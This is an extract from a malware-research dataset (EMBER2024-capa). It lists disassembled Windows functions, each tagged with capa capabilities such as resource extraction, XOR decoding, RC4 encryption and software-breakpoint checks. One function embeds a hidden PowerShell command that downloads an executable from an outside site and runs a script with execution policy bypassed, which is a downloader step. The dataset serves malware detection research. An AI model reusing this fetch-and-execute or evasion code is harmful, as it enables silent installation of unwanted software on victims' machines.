joyce8/EMBER2024-capa huggingface dataset:
Function at 0x709190
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
lea eax, [ebx + 0x134]
push edi
lea esi, [ebx + 0x34]
mov dword [esp + 0x14], eax
xor edi, edi
mov ecx, dword [ebx + 0x1c]
mov ebp, edi
and ebp, 0xff
mov al, byte [ecx + ebp + 1]
test al, 3
je 0x7091c0
mov byte [edi + esi], 2
jmp 0x7091f7
test al, 4
je 0x7091ca
mov byte [edi + esi], 0xd
jmp 0x7091f7
mov edx, dword [ebx + 0x240]
push edi
push ebx
call dword [edx + 4]
add esp, 8
cmp eax, 1
jle 0x7091e3
mov byte [edi + esi], 2
jmp 0x7091f7
mov eax, dword [ebx + 0x1c]
test byte [eax + ebp + 1], 0x17
jne 0x7091f3
mov byte [edi + esi], 0x19
jmp 0x7091f7
mov byte [edi + esi], 1
inc edi
cmp edi, 0x100
jb 0x7091a7
mov ecx, dword [esp + 0x14]
mov al, 7
mov byte [esi + 0x21], al
mov byte [esi + 0x3d], al
mov byte [esi + 0x3e], al
mov al, 0x10
mov byte [esi + 0x7c], al
mov byte [esi + 0x26], al
mov byte [esi + 0x24], 2
mov byte [esi + 0x5f], 2
mov byte [esi + 0x27], 9
mov byte [esi + 0x2e], 0xf
mov byte [esi + 0x3c], 8
mov byte [esi + 0x23], 0xa
mov byte [esi + 0x3b], 0x15
mov byte [esi + 0x3a], 0x16
mov byte [esi], 0x11
mov byte [esi + 0x5c], 0x12
mov byte [esi + 0x2f], 0x13
mov byte [esi + 0x2a], 0x14
mov byte [esi + 0x40], 0x17
mov byte [esi + 0x60], 0x1a
mov byte [esi + 0x22], 0x20
mov eax, esi
sub ecx, esi
mov edi, 0x100
mov dl, byte [eax]
cmp dl, 2
je 0x70926b
cmp dl, 0xd
je 0x70926b
xor edx, edx
jmp 0x709270
mov edx, 1
mov byte [ecx + eax], dl
inc eax
dec edi
jne 0x70925b
mov al, 0x1d
mov byte [esi + 0x58], al
mov byte [esi + 0x78], al
mov al, 0x1f
pop edi
mov byte [esi + 0x62], 0x1e
mov byte [esi + 0x4e], al
mov byte [esi + 0x6e], al
pop esi
pop ebp
pop ebx
ret

Function at 0x709290
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
push ebx
push 0x4000
call fcn.00707b50
mov esi, eax
add esp, 8
test esi, esi
jne 0x7092b1
pop edi
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esp + 0x10]
push ebx
push 0
push eax
call fcn.0070a8e0
mov edi, eax
add esp, 0xc
test edi, edi
jge 0x7092d6
push esi
call fcn.00707be0
add esp, 4
pop edi
pop esi
mov al, 1
pop ebx
ret
push ebp
push 0x4000
push esi
push edi
call fcn.006fd37b
push ebx
push edi
mov ebp, eax
call fcn.0070a950
push 0x709310
push ebp
push esi
call fcn.0070bc80
push esi
call fcn.00707be0
add esp, 0x24
pop ebp
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x70a610
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push esi
push 0x910c60
xor bl, bl
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
mov eax, dword [0x910b88]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
jne 0x70a68b
push 0x4c
push 1
call fcn.006f3085
mov esi, eax
add esp, 8
test esi, esi
jne 0x70a653
push 0x910c60
mov bl, 1
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
mov al, bl
pop ebx
ret
mov ecx, dword [0x910b88]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue_1]
mov eax, dword [0x901508]
inc eax
lea edx, [esi + 0xc]
mov dword [0x901508], eax
push edx
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection_1]
lea eax, [esi + 4]
push 0
push eax
call fcn.0070e140
add esp, 8
mov byte [esi + 0x3c], 1
push 0x910c60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
mov al, bl
pop ebx
ret

Function at 0x70ab10
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x1c], edi
call fcn.006f2c5d
mov ebx, dword [esp + 0x14]
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.006fd37b
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x70ac0a
call fcn.006f2c5d
cmp dword [eax], 0
je 0x70ab57
call fcn.006f2c5d
mov ebp, dword [eax]
jmp 0x70ab5a
or ebp, 0xffffffff
call fcn.0070a6a0
test esi, esi
mov dword [eax], ebp
jne 0x70ab6f
call fcn.006f2c5d
cmp dword [eax], 4
je 0x70abbf
mov eax, dword [esp + 0x20]
test al, 0x1a
je 0x70aba2
cmp esi, 0xffffffff
je 0x70abe4
test al, 6
je 0x70aba2
call fcn.0070a6a0
mov ecx, dword [eax]
push ecx
push ebx
call fcn.0070e170
add esp, 4
push eax
push 0x24
push 9
call fcn.0070aef0
mov eax, dword [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x70ac02
test al, 6
je 0x70abb0
test ah, 2
je 0x70ac02
test esi, esi
jbe 0x70ac0e
test ah, 2
je 0x70ac0e
add dword [esp + 0x18], esi
sub edi, esi
call fcn.006f2c5d
mov edx, dword [esp + 0x18]
push edi
push edx
push ebx
mov dword [eax], 0
call fcn.006fd37b
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x70ac0a
jmp 0x70ab44
call fcn.0070a6a0
mov eax, dword [eax]
push eax
push ebx
call fcn.0070e170
add esp, 4
push eax
push 0x24
push 2
call fcn.0070aef0
add esp, 0x10
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov eax, dword [esp + 0x20]
test al, 6
je 0x70ac1b
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test ah, 2
je 0x70ac24
mov esi, dword [esp + 0x1c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x71b0a2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x71b0da
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0071912f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00719107
jmp 0x71b0e6
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x71c799
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x71c7db
call fcn.00722497
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x71c7db
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x71c7d2
xor eax, eax
jmp 0x71c7e3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0071c7e9
pop edi
pop esi
pop ebx
ret 4

Function at 0x7229c7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection_1]
cmp dword [esp + 0x10], 0
jne 0x7229f5
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue_1]
test eax, eax
je 0x722a13
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0072292d
jmp 0x722a13
mov eax, dword [esi + 0x14]
test eax, eax
je 0x722a13
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0072292d
test edi, edi
mov eax, edi
jne 0x7229fd
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection_1]
pop esi
pop ebx
ret 8
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x401984
Capabilities:
Hide graphical window

Disassembly:
push ebp
sub esp, 0x40
push esp
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
add esp, 0x40
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
loop 0x40199b
push esp
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4040b0], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], 0x4016e2
mov dword [ebp - 4], str.risiliency
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040b0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.ebsement
push str.risiliency
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040b8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a36
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a1d
pop ebp
ret 0x10

Function at 0x438c9a
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x438a14
or edi, ecx
call fcn.00438ccc
add ecx, 0x8b4f2f7d
xor dword [edx], esi
mov edi, ecx
sub edi, 0xd723ea1f
add edx, 1
inc edi
cmp edx, ebx
jne fcn.00438c9a
or edi, ecx
and ecx, ecx
ret
Function at 0x40226a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov eax, 0x4021d6
sub eax, 0x401cf5
mov dword [ebp - 4], eax
push 8
push 0x408008
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406350
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
push 0x401cf5
lea eax, [ebp - 0x104]
push eax
call fcn.00406464
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406890
add esp, 0xc
call fcn.00401d3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x406464
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x40648a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0x10]
jge 0x40654c
mov edx, dword [ebp - 0xc]
add edx, 1
and edx, 0x800000ff
jns 0x4064ac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
and edx, 0x800000ff
jns 0x4064ce
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [ebp - 4]
mov byte [edx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40651d
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov byte [ecx], dl
jmp 0x406481
mov esp, ebp
pop ebp
ret

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4

Function at 0x4ca240
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4c9fca
sub eax, 0xa55a18d5
call fcn.004ca26a
mov edx, eax
add eax, edx
xor dword [esi], ebx
sub edx, eax
inc esi
inc edx
add edx, eax
add edx, eax
cmp esi, edi
jne fcn.004ca240
mov eax, 0xd3c86494
inc eax
ret
Function at 0x401820
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
xor eax, eax
push fcn.00401800
push ebp
push 0x410f00
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 1
mov eax, 0x43c534
call fcn.00413f80
mov dword [0x445010], eax
lea eax, [ebp - 4]
call fcn.00402600
push 0
mov eax, str.Invoke_WebRequest__uri_https:__2softa.com_OperaSetup.exe__OutFile__
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
call fcn.00426760
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, str.OperaSetup.exe__
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov ecx, 2
lea eax, [ebp - 4]
call fcn.004073c0
mov edx, dword [ebp - 4]
mov eax, dword [0x445010]
mov ecx, dword [0x445010]
mov ecx, dword [ecx]
call dword [ecx + 0xa8]
lea eax, [ebp - 4]
call fcn.00402600
push 0
lea eax, [ebp - 0x18]
call fcn.00426760
mov edx, dword [ebp - 0x18]
mov ecx, str.OperaSetup.exe___silent___allusers0___otd_utm.medium:apb_utm.source:RSTP_utm.campaign:op220__
lea eax, [ebp - 4]
call fcn.00407130
mov edx, dword [ebp - 4]
mov eax, dword [0x445010]
mov ecx, dword [0x445010]
mov ecx, dword [ecx]
call dword [ecx + 0xa8]
lea eax, [ebp - 0x18]
call fcn.00402600
push 0
lea eax, [ebp - 4]
call fcn.00426760
mov edx, dword [ebp - 4]
mov ecx, str.OperaSetup.ps1
lea eax, [ebp - 0x18]
call fcn.00407130
mov edx, dword [ebp - 0x18]
mov eax, dword [0x445010]
mov ecx, dword [0x445010]
mov ecx, dword [ecx]
call dword [ecx + 0x100]
mov eax, dword [0x445010]
call fcn.0040a770
push 0
push 0
lea eax, [ebp - 0x18]
call fcn.00402600
push 0
mov eax, str._sta__WindowStyle_Hidden__noprofile__executionpolicy_bypass__file
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
call fcn.00426760
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov eax, str.OperaSetup.ps1
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov ecx, 2
lea eax, [ebp - 0x18]
call fcn.004073c0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401973
mov eax, 0x446310
push eax
mov eax, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00401800
leave
ret

Function at 0x40c2c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x446490], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x44648c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x446490], edx
cmp eax, 0x26f
jl 0x40c2c8
mov dword [0x438d20], 0x270
ret
Function at 0x40c300
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x446494]
mov ebx, dword [eax*4 + 0x446490]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x446ac4]
mov dword [eax*4 + 0x446490], edx
cmp eax, 0xe2
jl 0x40c308
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x446494]
mov ebx, dword [eax*4 + 0x446490]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x446104]
mov dword [eax*4 + 0x446490], edx
cmp eax, 0x26e
jl 0x40c358
mov edx, dword [0x446490]
mov ecx, dword [0x446e4c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x446ac0]
mov dword [0x446e4c], eax
mov dword [0x438d20], 0
pop ebx
ret

Function at 0x40c3e0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x438d20]
add dword [0x438d20], 1
mov eax, dword [0x445030]
cmp eax, dword [0x438470]
jne 0x40c403
cmp ebx, 0x271
jb 0x40c424
mov eax, dword [0x445030]
call fcn.0040c2c0
not dword [0x445030]
mov eax, dword [0x445030]
mov dword [0x438470], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x40c440
call fcn.0040c300
xor ebx, ebx
mov dword [0x438d20], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x446490]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret

Function at 0x40dee0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x438200]
cmp ax, 0xcb
je 0x40dfec
cmp ax, 0xcc
je 0x40dfec
lea esi, [esi]
mov edx, dword [0x447090]
test edx, edx
je 0x40df15
mov eax, dword [0x446f40]
call edx
mov ebx, eax
jmp 0x40df1a
mov ebx, 0x446f44
cmp word [0x446f30], 0
jle 0x40df40
mov eax, 0x446f10
call fcn.0040e150
mov eax, ebx
call fcn.0040daa0
mov eax, ebx
call fcn.0040db10
lea esi, [esi]
mov edi, dword [ebx]
jmp 0x40df62
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x40df5d
mov edx, edi
mov eax, ebx
call fcn.0040cf10
jmp 0x40df60
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x40df48
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x446f30], 0
jle 0x40dfec
mov edx, 0x446e50
mov eax, ebx
call fcn.0040d050
mov edi, eax
test edi, edi
je 0x40dfbc
mov eax, dword [0x446ee4]
mov dword [edi + 0xc], eax
cmp dword [0x446ee4], 0
je 0x40dfb0
mov eax, dword [0x446ee4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x446ee4], eax
nop
sub word [0x446f30], 1
cmp word [0x446f30], 0
sete bl
mov eax, 0x446f10
call fcn.0040e170
test bl, bl
je 0x40dfec
mov eax, 0x446f10
call fcn.0040e140
lea esi, [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x4100d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x446270], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.004102b0
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x446270]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00402210
call sub.kernel32.dll_GetCommandLineA
mov dword [0x438270], eax
mov ebx, eax
jmp 0x410273
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x410158
cmp byte [ebx], 0
je 0x41027c
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x4101d3
mov al, byte [ebx]
cmp al, 1
jb 0x4101c8
sub al, 0x20
jbe 0x410198
sub al, 2
je 0x4101ac
jmp 0x4101c8
mov al, byte [ebp - 0x114]
test al, al
je 0x4101d8
add dword [ebp - 0x110], 1
jmp 0x4101d0
cmp byte [ebx + 1], 0x22
je 0x4101c3
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x4101d0
add ebx, 1
jmp 0x4101d0
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x410188
test dword [ebp - 0x10c], 0xffffffff
je 0x41026c
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.004102b0
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x446270]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x410263
mov al, byte [ebx]
cmp al, 1
jb 0x410258
sub al, 0x20
jbe 0x410228
sub al, 2
je 0x41023c
jmp 0x410258
mov al, byte [ebp - 0x114]
test al, al
je 0x410268
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x410260
cmp byte [ebx + 1], 0x22
je 0x410253
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x410260
add ebx, 1
jmp 0x410260
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x410218
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x41015b
mov ebx, dword [ebp - 0x10c]
mov dword [0x446260], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x446270
call fcn.0040dd20
mov eax, dword [0x446270]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412260
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x118]
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
mov dword [ebp - 0x118], ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x114], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x110], al
mov dword [ebp - 0xc], 0
xor eax, eax
push fcn.00412250
push ebp
push 0x410f00
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp - 0x114]
push dword [ebp - 0x118]
push edi
call sub.kernel32.dll_FindResourceA
mov dword [esi + 0x10], eax
test eax, eax
jne 0x412370
mov al, byte [ebp - 0x110]
test al, al
je 0x412339
push 0xff
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x10c]
mov edx, 0xffffffff
call fcn.00403560
lea ecx, [ebp - 0xc]
xor dx, dx
lea eax, [ebp - 0x10c]
call fcn.004078b0
xor cl, cl
xor dx, dx
lea eax, [ebp - 0xc]
call fcn.004085c0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xb
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [str.Resource___s__not_found]
mov edx, 1
mov eax, 0x43bb0c
call fcn.00426870
mov edx, 0x4122ca
mov ecx, ebp
call fcn.00410dc0
jmp 0x412370
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 6
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [str.Resource___s__not_found]
mov edx, 1
mov eax, 0x43bb0c
call fcn.00426870
mov edx, 0x412339
mov ecx, ebp
call fcn.00410dc0
push dword [esi + 0x10]
push edi
call sub.kernel32.dll_LoadResource
mov dword [esi + 0x14], eax
test eax, eax
jne 0x412434
mov al, byte [ebp - 0x110]
test al, al
je 0x4123fd
push 0xff
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x10c]
mov edx, 0xffffffff
call fcn.00403560
lea ecx, [ebp - 0xc]
xor dx, dx
lea eax, [ebp - 0x10c]
call fcn.004078b0
xor cl, cl
xor dx, dx
lea eax, [ebp - 0xc]
call fcn.004085c0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xb
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [str.Resource___s__not_found]
mov edx, 1
mov eax, 0x43bb0c
call fcn.00426870
mov edx, 0x41238e
mov ecx, ebp
call fcn.00410dc0
jmp 0x412434
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 6
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [str.Resource___s__not_found]
mov edx, 1
mov eax, 0x43bb0c
call fcn.00426870
mov edx, 0x4123fd
mov ecx, ebp
call fcn.00410dc0
push dword [esi + 0x10]
push edi
call sub.kernel32.dll_SizeofResource
mov ebx, eax
push dword [esi + 0x14]
call sub.kernel32.dll_LockResource
mov edx, eax
mov eax, esi
mov ecx, ebx
call fcn.00411f90
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00412250
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8